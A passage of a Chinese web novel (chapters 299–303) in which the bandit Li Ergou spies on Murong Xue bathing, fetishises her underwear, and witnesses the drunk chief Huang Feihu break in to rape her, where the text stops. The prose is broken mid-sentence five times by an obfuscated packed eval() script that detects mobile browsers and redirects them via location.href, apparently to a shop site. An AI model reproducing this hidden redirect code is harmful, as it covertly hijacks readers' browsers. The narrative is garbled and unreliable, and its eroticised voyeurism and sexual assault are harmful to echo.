“我倒是想啊!可一旦上霸虎寨当了土匪,再想下山不干,那些人不会放过我们的。” “不干都不行?” “前两天有个人偷偷下了山,你猜怎么着?直接被他们下山灭了门,你说我们谁还敢下山?” “真没想到你们山寨当家的这样对待兄弟!” “哎,不说了,我得去干活了,不然待会让他们发现又该挨皮鞭了。” 话音未落,一个穿着黑色绸缎衣服的男子突然从麦垛后窜了出来。 “朱老四,你**又躲到这里偷奸耍滑。” 说话间,鞭子已经抽打到他身上。 朱老四蜷缩着身子,根本不敢反抗,嘴里求饶道:“八爷,八爷,别打了,我不敢了!” 李二狗突然伸手握住八爷的手腕。 八爷怒目而视,质问道:“你要干什么?你是谁?” 李二狗克制着自己的情绪,立马换上一副笑脸。 “八爷是吧?我是清风寨的,跟着我们当家的来拜访你们霸虎寨。” 八爷狐疑地盯着李二狗,质问道:“清风寨的?那你躲到这里来做什么?” 李二狗松开手,笑容可掬。 “我们当家的刚才和雷当家的一起进了聚义堂,他看你们这边打麦场很热闹,就吩咐我来学习学习,所以我就拉着这个老哥请教了几句,没想到连累他,还请八爷高抬贵手,不要责罚他。” 八爷刚才的确看到**天陪着一个人进了聚义堂,清风寨的面子他不得不给。 “既然清风寨的朋友说话了,那我就饶了他,老四,还不快去干活,再敢偷懒绝不轻饶。” 朱老四嘴上答应着,赶忙连滚带爬地跑回打麦场。 第299章 茅草屋的秘密 对于八爷这种惯于在底层兄弟面前嚣张跋扈的土匪,李二狗自然有一番对付的心得。 对付这样的人,态度一定不能恭敬,这种人一向畏威不畏德。 你对他们态度越是恭敬,他们反而越是不把你当回事。 你如果对他爱搭不理,他反而心里没底,不知道该如何面对你。 李二狗从兜里掏出两根烟,面无表情地问道:“八爷,要不要来一根?” 八爷本来不打算接,但看到李二狗递过来的烟竟是哈德门,比自己兜里的烟要好得多,便愉快地接受了。 清风寨毕竟是清风寨,连一个小喽啰都抽哈德门!简直是没有天理! 李二狗把自己嘴里的烟点着,然后才把火柴扔给八爷。 八爷不气也不恼,接过李二狗扔过来的火柴盒,从里面抽出一根火柴点燃了自己嘴里的香烟。 他用力地吸了一口,然后徐徐地吐出烟雾,表情陶醉,味道确实比自己抽得老烟叶强许多。 吐纳之间自然对李二狗客气了很多。 “兄弟在清风寨是做什么的?” 李二狗态度依然不卑不亢。 “我小卒子一个,在清风寨负责给几个当家的端茶倒水,可不像八爷这般威风,手底下管着这么多人。” 能在山寨几个当家的身边伺候,那都是心腹之人,八爷对李二狗的态度立马转变了许多,脸上终于有了笑模样。 “那兄弟是领导身边的人,一定前途无量啊,失敬失敬。” “八爷过奖了,我怎么敢和您比!如今霸虎寨在江东的名号是越来越响,我们大当家的都想和你们交好。” “天下土匪本来就是一家嘛,你们清风寨的名号在江东那可是蝎子尾巴——独一份,谁不羡慕?不知兄弟如何称呼啊?” “鄙人李三狗,以后还请八爷过过关照。” 八爷一听,吃了一惊。 “李三狗?我听说胡家大院有个管家就叫李二狗,不知道你们之间是不是?” “我和他可是八竿子打不着的关键!当初第一次听到李二狗这个名字,气得我当即就想改名,生生把老子弄得矮他一头,你说我和谁讲理去?” “哈哈,三狗兄弟,你这名字可比二狗威风多了,还是三狗好,响亮!” “哈哈,八爷客气了,说的我都有些不好意思了。” 李二狗从兜里掏出一盒尚未开封的哈德门,塞到八爷手里。 “八爷,一点小意思,你留着抽。” 八爷笑得合不拢嘴,心想,还是清风寨的人会来事,怪不得人家是江东第一山寨,在霸虎寨就没有人给自己送烟。 这就是差距,不服不行! “这怎么好意思啊,让三狗兄弟破费了。” “八爷刚才不说了嘛,天下土匪是一家,千万不要这么客气,说不定以后咱们清风寨和霸虎寨就是一家人了。” “哈哈,那我就不客气了。” 李二狗通过这两年在社会上的摸爬滚打,已经悟到这种小恩小惠对底层人有着不可估量的作用。 “八爷,我们当家的吩咐我要向你们好好学习,你看我能不能在山寨里转一转?” “大家都是一家人,随便看,要不要我带你转一转?” “那怎么好意思麻烦八爷呢,我自己随便转转就行,八爷你忙你的。” “那好,三狗兄弟,有什么事随时叫我。” 两人分开之后,李二狗围着霸虎寨转了一圈,把山寨布局和主要建筑全部记在心里,不知不觉天色已经黯淡下来。 霸虎寨后山和清风寨一样,也是三面悬崖峭壁,山下的人根本上不来,只能通过寨前一条路上山。 但与清风寨不同的是,霸虎寨整个寨子成长方形,南北狭窄,东西宽长,从寨门口走到后山,差不多有两千米的距离。 不过霸虎寨刚刚建寨不久,房屋建筑主要集中在寨门口附近,后山并没有什么明显建筑,显得十分荒凉。 李二狗站在后山上俯瞰了一会儿,巍巍转经山,周围山高林密,此地确实是一块风水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17056253|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 宝地,清风寨与之相比都要相形见绌,李二狗已经下定决心要拿下霸虎寨。 眼看天色已晚,李二狗怕秀才等着急了,便沿着原路返回。 刚走了一会儿,便看到有一个岔路口,刚才上山的时候竟然没有注意到。 路口旁竖着一块牌子,上面写着:擅入者格杀勿论! 李二狗伸长脖子往前看了看,并没有看到什么建筑。 如此荒凉的一条小路为何会成为霸虎寨的禁地? 这激起了李二狗强烈的好奇心,难道里面藏有粮食或者**库? 想到这,李二狗便悄悄沿着这条小路往前走,除了路两侧的树林里偶尔传来的鸟鸣虫叫声,并没有任何异常。 李二狗怀着忐忑的心向前走了大约一百米,突然出现一个九十度的大拐角,过了拐角,又是一番天地。 路两旁有一大片蜀葵映入眼帘,红的、白的、粉的,各色花儿盛开,美不胜收。 麦收时节,蜀葵花开。 没想到在霸虎寨竟还有如此有情调的人,李二狗第一时间想到了慕容雪,霸虎寨四当家。 再往前看,不远处建有两间茅草屋。 李二狗回头看了看,发现并没有人跟来,他便大着胆子继续往前走。 很快就来到茅草屋前,门口同样挂着一个竟是木牌:擅入者死! 这更加激起了李二狗的好奇心,一个茅草屋难道藏有大量的金银珠宝?竟如此这般神秘。 这座茅草屋沿着一处山体而建,李二狗沿着茅房屋旁边的斜坡爬上去,屋后并没有院子,而是和山体融为一体。 李二狗爬到屋顶上,里面的情形完全看不到。 李二狗从山坡上爬下来,再次回到茅草屋前,轻轻推了一下,发现房门紧闭,他趴在门缝里往里瞅了瞅,里面黑漆漆一片,什么也看不见。 他又趴在门缝上仔细听了一会儿,里面好像有潺潺流水的声音。 茅草屋内怎么会有潺潺流水的声音?这更加激起了李二狗的好奇心。 第300章 慕容雪 想到这,李二狗掏出随身携带的一把**,轻轻地插入门缝,慢慢地拨动了几下门栓,然后悄悄地推开房门,便闪身进了屋。 李二狗屏住呼吸,赶紧把房门从里面关好。 屋内漆黑一片,他刚想掏出火柴,便看到屋后竟然还有一扇房门,并有些许光亮透进来。 他再次深吸一口气,蹑手蹑脚地来到后门处,俯身从门缝往里看去,顿时心跳加速,血脉偾张。 房门外面竟是一处山洞,洞内雾气缭绕,中间有一口温泉,温泉水缓缓流淌着,泉池旁的椅子上坐着一位绝色美女,身上只披着一条毛巾。 蒸腾的热气裹着淡淡的硫磺香在温泉池畔弥漫。 温泉池水汽氤氲,暖融融的油灯光线漫过漾着细碎波纹的水面。 她毫无征兆地起身,毛巾轻轻地在她身体上滑落,然后缓步踏入池中,温热的泉水缓缓漫过她的肩头,凝脂般的肌肤在朦胧雾气里泛着莹润的柔光。 一头墨色青丝如瀑布般散开,几缕湿发贴在颈侧,更衬得她颈间线条细腻胜雪。 她抬手拂开额前的几缕碎发,指尖划过脸颊时,眉眼间浸着温泉里的慵懒,眼波似含着池底漾开的春水。 水面漂浮的几片玫瑰花瓣沾在她的肩头,随着水波轻轻晃动,她微仰着头,任由泉水漫过锁骨,整个人如雾中初绽的芙蓉,美得静谧又透着难言的柔媚。 李二狗目不转睛地盯着温泉池里的那片雪白肌肤,喉咙滚动,狂咽口水。 女人并没有发现有人偷窥,她闭着眼,尽情享受着温热泉水浸透肌肤带来的舒适感。 她在泉水中轻摆玉臂,每一次泉水滴落的声音都令李二狗心神荡漾。 李二狗贪婪的目光一直盯在水面上,他盼望着女人此刻能从温泉池中站起来,李二狗能想象到那种美人出浴的景象,足以摄人心魄。 正当李二狗屏气凝神,期待春色满园之时,门外突然传来一阵不合时宜的敲门声。 李二狗吓得全身一哆嗦。 一个女声在门外说道:“慕容姐,大当家的让你现在去一趟聚义堂。” 原来在温泉中沐浴的女子正是霸虎寨四当家慕容雪。 要么说李二狗艺高人胆大,他知道慕容雪要是从山洞来开门,必然会从温泉池中站立起来,所以他根本没有动,目光依然透过门缝紧紧地盯着那个即将出浴的女人。 和李二狗预料的一样,慕容雪听到声音,便从容不迫地从温泉池里站了起来。 丰容盛鬋的身材令李二狗大饱眼福。 真是双峰耸立云深处,一水环绕月明前。 她一边拿起毛巾披在身上,一边说道:“你先等一下。” 那轻柔妩媚的声音传到李二狗的耳朵里,仿佛像千万只虫子钻进李二狗的身体里,他感到全身由内到外的痒。 此刻,他真想脱光衣服到温泉池中畅游一番。 慕容雪披着毛巾向李二狗款款走来。 此时李二狗的眼睛已经完全适应了屋内黑暗的环境,他看到旁边有一张木床,便俯身钻到了木床底下。 慕容雪推开后门,进**内,李二狗立即嗅到一股淡淡的玫瑰花香的气味,气味中掺杂着年轻少女独有的体香,沁人心脾。 她走到桌前,拿起一盒火柴,从中抽出一根轻轻地擦燃,然后点燃了室内的一盏煤油灯。 慕容雪走到床前,从床上拿起一件衣服,从容不迫地地穿在身上,然后才去打开房门,一个女人走了进来。 “慕容姐,大当家的让你现在去一趟聚义堂。” “大当家的什么事?” “清风寨来了一位当家的,商谈和咱们霸虎寨结盟的事,大当家的安排了宴席,请你现在过去一起吃饭。” “你回去告诉大当家的,就说我身体不舒服,真是懒得和那些臭男人周旋。” “慕容姐,清风寨是江东最大的山寨,大当家的很重视他们,你还是去一趟吧,不然大当家的会生气的。” “哼,难道我会怕他生气吗?你去替我回了吧。” “慕容姐,可……” “好了,别说了,你就说我身体不舒服,他不会怎么样的。你去吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17063157|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' ,我要睡一会儿。” 女人没有办法,只能关上门走了出去。 慕容雪坐在床沿上,一双玉脚自然地垂落于床下,李二狗能清晰地嗅到她的玉脚传来的香气。 李二狗舔了舔有些干涸的嘴唇,咽了几口口水,他的心跳声几乎都清晰可闻。 慕容雪就这样坐在床上静静地发呆,李二狗却趴在床底下度日如年。 慕容雪出身于行伍之家,其父慕容复是东北军的一个团长。 她小时候**过一段时间的武,但毕竟是女孩子,长大了之后便开始学习琴棋书画,武艺便渐渐荒废了。 兵荒马乱的时节,慕容复为了以防万一,又逼着她练就了一手好枪法。 霸虎寨大当家黄飞虎当年就在她父亲手下任连长。 日本侵占东三省的时候,慕容复不顾上级不许抵抗的命令,执意带领自己的部队和日本人作战,给日军造成极大损伤,终因寡不敌众,兵败被俘。 日本人用尽各种方法都无法令他屈服,气急败坏之下,把慕容复斩首示众,头颅挂在旅顺城中的牌坊上暴晒了七天七夜。 慕容雪当时正在沈阳上大学,她得知父亲**的消息之后,连夜赶回旅顺。 她单枪匹马手持双**掉四个看守的日本士兵,在东北军几个旧部的帮助下夺回了慕容复的人头。 那几个东北军先后死在日本人枪下。 日本人对慕容雪展开追杀,万般无奈之下,她只能离开家乡,在路上遇到了溃逃的黄飞虎等人。 黄飞虎一直垂涎于慕容雪的美色,但慑于慕容复的权势,并不敢有非分之想。 如今慕容复已死,慕容雪又身陷绝境,黄飞虎仿佛看到了机会。 可奈何慕容雪誓死不从,黄飞虎并不敢硬来,两人就这样一直僵持着。 慕容雪在霸虎寨是一个独特的存在,山寨人人都知道她是黄飞虎看中的女人,虽然名义上是四当家,但就连大当家黄飞虎也不敢轻易惹她。 “谁?” 慕容雪突然从床上站起来,吓得李二狗虎躯一震。 第301章 李二狗不顾礼义廉耻 李二狗心想坏了,难道自己被她发现了? 如果被慕容雪发现自己躲在她的闺房床底,即使亮明自己的身份,慕容雪也绝不会饶了他。 最关键还是太丢人了! 如果传到江湖中去,肯定会被人笑掉大牙。 他李二狗还有什么脸面继续在江东混下去。 想到如果被她堵在床底,自己连反抗的机会都没有,李二狗便准备从床底爬出来。 大不了娶了她,也没什么了不起的。 在李二狗的潜意识里,还没有他拿不下的女人。 正当他准备从床底爬出来的时候,慕容雪又开口了。 “谁在外边?” 外边?李二狗赶紧停了下来。 “慕容姐,是我。” “小雨,你在外边鬼鬼祟祟干什么?” 慕容雪的丫鬟孙小雨推门而入。 “慕容姐,”孙小雨有些结结巴巴地说道,“大当家的非让你现在去一趟。” “你没和他说我身体不舒服吗?” “说了,可他还是执意让你过去一趟。” 慕容雪心想,黄飞虎以前虽然只是父亲慕容复手下的一个连长,但如今自己寄人篱下,还是不能和他闹得太僵。 “慕容姐,你还是去一趟吧,别让大当家的在外人面前下不来台。” 慕容雪只能默默地拿起衣服,这种寄人篱下还被人虎视眈眈的日子她实在是过够了。 可过够了又能怎么样?目前她并没有其他能够让自己安身立命的地方。 “我们走吧。” 两人走出房门,只听“咔嚓”一声,孙小雨竟然在门外锁上了房门。 李二狗终于松了一口气。 突然,他意识到不妙,房门被人从外面锁上了,他怎么离开这里? 他赶紧从床底钻出来,伸手去开门,果然被锁上了。 李二狗回到桌前,划了一根火柴,点燃了一盏煤油灯。 “啊……” 李二狗不由得惊呼一声,好温馨的一间闺房! 首先映入他眼帘的是一方精致的屏风,其上绣着四季花卉,春意盎然中桃花笑靥,夏日炎炎下荷花亭亭,秋风送爽时菊花傲霜,冬雪皑皑里梅花凌寒。 四季轮回,尽在一幅屏风中展现得淋漓尽致。 屏风后方摆放着一张梨花木制成的圆桌,桌上置有精美的茶具,青花瓷壶与茶杯相映成趣。 圆桌旁,一把古琴静静地躺在特制的木架上,仿佛能引领人心神飞越至九霄云外。 房间的西侧有一张小小的梳妆台,台面铺陈着各式各样的首饰盒与胭脂水粉。 铜镜镶嵌于檀木之中,镜面光滑如银,旁边还挂着几幅名家字画,笔墨间流露出淡淡的书香气息。 窗棂雕刻繁复,糊以薄纱,微风拂过,轻纱摇曳,带着窗外竹影婆娑,花香袭人。 窗边摆放着一盆兰花,清雅脱俗,不与群芳争艳,温婉中带着几分坚韧与高洁。 整个闺房内,无论是家具的选择还是装饰的布局,都透露出一种超凡脱俗的气质。 李二狗不禁感叹道:此等闺阁,真乃人间仙境也! 他陶醉其中,完全忘记了自己被锁入房内。 在好奇心的驱使下,李二狗轻轻推开了后面的那扇房门。 幽深的石灰岩洞中,氤氲水汽如轻纱缭绕,一泓温泉静卧于天然石臼间。 穹顶垂落的钟乳石泛着莹白微光,似凝固的玉瀑倾泻而下,水滴坠入池面漾开圈圈涟漪,清响在洞壁间空灵回旋。 池水碧如翡翠,蒸腾的热雾裹挟着硫磺气息,将岩壁浸润得温润生辉,石隙间悄然滋生的蕨类舒展羽叶,与乳石倒影共舞。 洞顶裂隙漏下几缕天光,穿透雾气织成光柱。 偶有山风潜入洞穴,拂动水面碎金摇曳,暗香浮动间,唯闻泉声淙淙,似亘古未歇的禅诵。 李二狗迷醉了,王母娘娘的瑶池也不过如此吧。 突然,温泉池旁的一个竹篓吸引了李二狗的目光,竹篓上有一抹鲜艳的红色夺人眼目。 他不由地走过去,发现搭在竹篓上的竟是一个鲜红鲜红的小肚兜,很显然这是慕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17063158|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 容雪刚才沐浴时换下的贴身之物。 犹豫再三,李二狗还是伸手从竹篓上拿起那件仿佛带着某种神秘气息的红肚兜,并忍不住凑在鼻尖下闻了闻。 沁人心脾,夺人心魄! 除了这件红肚兜,竹篓里还有一件精致的粉色小裤衩,上面仿佛泛着幽幽的光泽,李二狗彻底沦陷了。 什么礼义廉耻,什么道德底线,他通通顾不得了…… 李二狗内心空虚地回到慕容雪的闺房,此刻他无比地鄙视自己的下作行为。 虽然房门上着锁,但李二狗想要离开这里,一把锁又怎么可能锁得住他,真正锁住他的是自己内心的欲望。 李二狗用不能破坏门窗,以免被慕容雪发现为由说服自己留了下来。 李二狗不打算再躲在床底下,因为那样他看不见慕容雪的容貌。 在房内仔细环视了一周,李二狗决定躲在一个角落的衣橱后面,那里既不引人注意,还可以观察到闺床上的一举一动。 想到这,李二狗赶紧吹灭了煤油灯,躲到衣橱后面。 与此同时,霸虎寨聚义堂内,灯火通明,人声鼎沸。 黄飞虎举起酒碗,大声嚷道:“秀才兄弟今天大驾光临我们霸虎寨,令我们霸虎寨蓬荜生辉,来,我敬你一碗。” “大当家的客气了!本来我们大当家的要亲自来霸虎寨拜访您,无奈身体抱恙,只能派我来先行拜访,请大当家的莫怪啊。” “哈哈,你们大当家的神龙见首不见尾,在整个江东土匪界谁人不知谁人不晓?你能来就是给我黄飞虎面子,来,咱们干了!” 奇怪的是,宴会厅虽然热闹,但饮酒的却只有黄飞虎、秀才和慕容雪三人。 慕容雪还是因为拗不过黄飞虎,只能在自己面前的桌子上摆了一碗酒。 秀才干了一碗,把酒碗放在桌上,笑道:“大当家的,别光咱们喝啊,让兄弟们一起来吧?” 黄飞虎霸气地说道:“别管他们,咱们喝咱们的。慕容妹子,还不赶快敬秀才兄弟一碗酒。” 第302章 西域风情的面庞 慕容雪眉头紧皱,无奈地端起酒碗。 “敬秀才当家的一碗酒,我先干为敬。” 慕容雪话不多,但很有分量,说完直接把碗里的酒一饮而尽,并向秀才亮了亮碗底。 “四当家的真乃女中豪杰,看我的!” 秀才也一饮而尽。 沈公豹、**天各自端着一碗水走到秀才面前。 “秀才兄弟,我们哥俩以水代酒,敬你一杯,以后咱们都是好兄弟,有事尽管招呼。” 秀才说道:“二当家的、三当家的,水哪是这个场合喝得东西?必须换酒,今晚咱们一定要不醉不归!” **天瞅了一眼黄飞虎,小声说道:“秀才兄弟,实不相瞒,待会我和二当家的还要带领弟兄们下山割麦,等过了麦收时节,到时候我们一定和秀才兄弟喝个痛快。” 秀才没想到黄飞虎虽然是个粗鲁之人,但治军却如此严格,哪怕是二当家的、三当家的,一旦有任务在身也不能饮酒。 秀才故意大声说道:“两位当家的都是海量,喝两碗酒干活才更有力气,来,我给两位当家的倒满。” 秀才从桌上拿起一坛子酒,便要给沈公豹和**天手里的碗中倒酒,两人齐刷刷地看向黄飞虎。 黄飞虎早已把这一切看在眼中。 他端着酒碗走到秀才面前,把手搭在他的肩上,笑道:“秀才兄弟,你就不要为难他们两个了,我们山寨有规定,执行任务之前不得饮酒,任何人都不得违反。” 秀才说道:“大当家的治军如此严格,兄弟实在是佩服。” 黄飞虎笑道:“这都是血的教训,还请秀才兄弟见谅。” “大当家的千万别这么说,兄弟我对大当家的只有佩服。” 秀才不便再劝,端起酒碗和黄飞虎碰了一下,两人又干了一碗。 **天再次来到秀才面前,拱手道:“秀才兄弟,你和大当家的接着喝,我们下山去了,一定要吃好喝好。” “三当家的,你和二当家的一样要注意安全。” 沈公豹和**天走后,黄飞虎和秀才又接连干了三碗。 黄飞虎酒意上涌,一把拉住秀才的手。 “秀才兄弟,实不相瞒,当初我带着兄弟们来到江东,本想投奔你们清风寨,但听说你们山寨有太多的规矩,这也不许干那也不许干,所以才辗转来到转经山。” 秀才趁机说道:“大当家的,您不来我们清风寨实在是我们清风寨的巨大损失啊。没错,我们清风寨是有很多规矩,但每一条规矩都是经过我们寨务会反复研究之后才最终定下来的。” 黄飞虎脸上闪过一丝鄙夷的表情,继而笑道:“我听说过你们寨务会,你们大当家的真会整景啊,还整出个寨务会来!人人说了算就意味着人人说了不算,这样是不行的!” 行还是不行,秀才并不想和黄飞虎争论,因为毫无意义。 “大当家的,有句话我不知道当讲不当讲?” “秀才兄弟但说无妨。” “如果咱们两家山寨结盟,可能有些事情就不能像现在这样了。” 黄飞虎问道:“现在这样是什么样?” “我们大当家的最不能接受的就是打家劫舍、欺压弱小,一旦结盟,恐怕抢割麦子这种事情就不能再做了。” 黄飞虎不以为然地冷“哼”一声:“土匪不打家劫舍,难道还要乐善好施吗?土匪就是土匪,别整得像**大善人。” 气氛一时有些尴尬。 “大当家的,其实这些佃户们很可怜,经过这两年的大饥荒,他们没饿死就已是大幸,目前刚看到点收成就……” 黄飞虎粗暴地打断他。 “你不要说了,如果你是来谈结盟之事,我们热烈欢迎。但如果你是来教训我们的,请恕我们不能奉陪!我们霸虎寨虽小,但还不至于过仰人鼻息的日子!” 秀才代表着清风寨,此时他不能怂。 “大当家的,我们也是好意,山寨大多数兄弟都是穷苦人家出身,您说,咱们穷人何必为难穷人呢?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068178|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 什么穷人不穷人的,这个世界本来就是一个弱肉强食的世界,为了能活下去,谁**还分什么穷人富人?” “大当家的,我们清风寨作为江东第一寨,绝不允许有人带头破坏规矩。” 黄飞虎酒劲已经上来了,他抓起桌上的酒碗就扔了出去,“砰”的一声砸到地上。 “叼**规矩!老子就带头破坏了,你们能拿我怎么样?我告诉你们,叫你一声秀才当家的是给你面子,我看清风寨也没什么了不起!” 秀才试探的结果本在他的预料之中,看来霸虎寨他也没有继续待下去的必要了。 “既然大当家的这么说,我秀才就只能告辞了,咱们青山常在,绿水长流,后会有期。” “送客!” 慕容雪一直冷眼旁观着发生的一切,好像一切都与她毫无关系。 黄飞虎郁闷至极,抱起酒坛子“咕咚咕咚”喝了个底朝天。 秀才晕乎乎地出了霸虎寨才突然想起,李二狗去哪了?! 他本想返回霸虎寨,但想到李二狗一直没有出现,肯定是在做一件特别重要的事情。 他这时候返回,反而会给李二狗帮倒忙。 想到这,秀才只能先行返回清风寨。 “我先回去了。” 慕容雪面无表情地撂下一句话,起身离开了聚义堂。 黄飞虎看着慕容雪的背影,嘴里嘟囔道:“装**什么清高?你早晚是老子身下的女人!” 听到慕容雪的脚步声,本已有些迷糊的李二狗顿时精神起来。 慕容雪进入屋内,孙小雨点燃桌上的煤油灯。 “小雨,你先回去休息吧。” “慕容姐,你也早点歇息。” 孙小雨答应一声,转身离开了茅草屋。 慕容雪坐在床沿上,脸上因为饮酒而有些潮红,人却显得更加妩媚。 李二狗这几年虽然领略过许多不同年龄、不同容貌甚至不同国籍的女人,但不得不说,慕容雪带着一点西域风情的面庞还是令他怦然心动。 第303章 黄飞虎酒后欺凌慕容雪 慕容雪的美融合了立体五官与独特气质,仿佛是从遥远文明中走出的画中人。 她眉骨微隆,眼窝深邃,一双碧潭般的眼眸闪烁着神秘光芒。 高挺鼻梁下是一张微微上翘的樱唇,不笑时也带着三分勾魂。 肌肤胜雪,白里透红,与深邃五官形成鲜明对比。 尤其是她高高隆起的胸脯更带给人无限遐想。 端庄和性感竟能在一个女人身上得到完美的呈现,造物主真是不公平! 李二狗眼前突然浮现出竹篓里那件红色小肚兜和粉色小裤衩,心里的那团火已经开始熊熊燃烧起来。 慕容雪突然从床上站了起来,李二狗真担心她会朝衣橱这边走来。 她叹息一声,走到古琴面前坐下。 窗外竹影斑驳,并有微风吹拂竹叶的声音传来。 她一袭素白罗裙垂落如雪,指尖轻抚七弦瑶琴。 坐在琴前的慕容雪和先前判若两人,她眉目低垂,神情宁和,仿佛尘世喧嚣皆被隔于屋外。 右手勾剔抹挑,左手吟猱绰注,音色清越而幽远,似山涧清泉缓缓流淌,又似月下松风轻轻拂过林梢。 一曲《渌水》徐来,声韵疏迟,调清意远,竟令屋内茶烟也为之凝滞。 她指下流转的不只是旋律,更是心绪的倾诉。 快时如流云奔逸,慢时若寒梅吐息,每一个音符都带着呼吸的温度。 月光通过窗棂斜照在琴身乌黑的漆面上,泛出温润光泽,也映亮了她专注的侧脸。 一曲终了,余音绕梁未散。 她微微抬首,唇角浮起一丝几不可察的笑意,仿佛从另一个世界归来。 这一刻,人与琴、心与音,已浑然相融,静美如画。 李二狗本来躁动不安的心竟慢慢沉静下来。 突然,“哐哐哐”的砸门声打破了这种宁静。 “慕容妹子,快开门。”黄飞虎扯着嗓子大声吆喝道。 慕容雪压制着内心的愤怒,说道:“我已经睡下了,有什么事明天再说吧。” “什么睡下了?睁着眼说瞎话,老子刚才还听到你在弹琴。快把门打开,老子有话和你说。” “太晚了,你明天再来吧。” “哐哐哐……” 黄飞虎喝醉了酒,他已经等不到明天了。 “快把门打开,不然老子就撞门了!” “黄飞虎,你放肆!你就不怕我喊人吗?” 李二狗听了慕容雪的威胁之言,不禁觉得她的单纯。 在霸虎寨,谁敢管黄飞虎的事,你就是喊破喉咙,又有谁敢来救你! 黄飞虎放肆地笑了几声。 “你喊吧,我倒要看看谁敢管老子的闲事。快开门,不然老子砸门了!” “哐哐哐……” 慕容雪急得两只手缠绕在一起,刚才的淡雅娴静早已荡然无存。 她想要找寻自己的驳壳枪,这才想起,前几天因为下山抢粮,黄飞虎以武器不足为由,让所有人交出武器统一调配。 怪不得他今晚如此嚣张,原来早就有预谋。 慕容雪虽然小时候练过几天武术,但毕竟是女孩子,在虎背熊腰的黄飞虎面前,她无异于一只待宰的小肥羊。 “黄飞虎,我求求你,不要再来骚扰我了好不好?你看在我爹的面子上,放过我吧,求求你了……” 慕容雪带着哭声的哀求并没有唤醒黄飞虎的良知,反而更激起了他的淫欲。 慕容复已死,他实在没有必要为了一个**再委屈自己。 “慕容妹子,你放心,只要你从了虎哥,虎哥一定好好待你,你要星星,虎哥给你摘星星,你要月亮,虎哥给你摘月亮,只要你乖乖听话,你要什么虎哥给你什么。” “哐哐哐……” 慕容雪已被吓得花容失色,她蜷缩在床上,不再言语,希望黄飞虎能自感无趣离开。 精虫上脑的黄飞虎怎么可能离开! 他继续“哐哐哐”砸着房门。 “慕容妹子,快开门,再不开门,我可要动真格的了!” 里面依然没有回应,黄飞虎被彻底激怒了。 他后退两步,然后猛地冲向房门。 “哐当”一声,房门被撞开了! “黄飞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068179|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 虎,你要干什么?” 慕容雪吓得蜷缩在被子里。 她娇弱动人的模样更加激起了黄飞虎的**。 “干什么?老子今晚要睡了你!” 说罢,便在里面插上房门,扑到床上。 “你……你要干什么?快滚开!啊……你别碰我!黄飞虎,你……混蛋!” 慕容雪又喊又打,对着黄飞虎又踢又咬,黄飞虎兴奋地就像一只发情的公狗。 “慕容妹子,你就从了我吧,我等得花儿都谢了。” 尽管慕容雪拼命反抗,还是被黄飞虎紧紧地压在了身下。 “刺拉”一声,裙摆被撕了下来。 “刺拉”又一声,整个裙子被撕裂了。 “黄飞虎!你混蛋!你放开我!快来人啊!救命啊!” 任慕容雪喊破喉咙,也没有任何人敢靠近这间茅草屋。 今晚他发誓要睡了慕容雪,在他的认知里,女人只要被自己睡了,以后就只能乖乖地跟着自己。 李二狗如果再不出手,慕容雪将被黄飞虎这个禽兽玷污。 以慕容雪的性子,她只有死路一条。 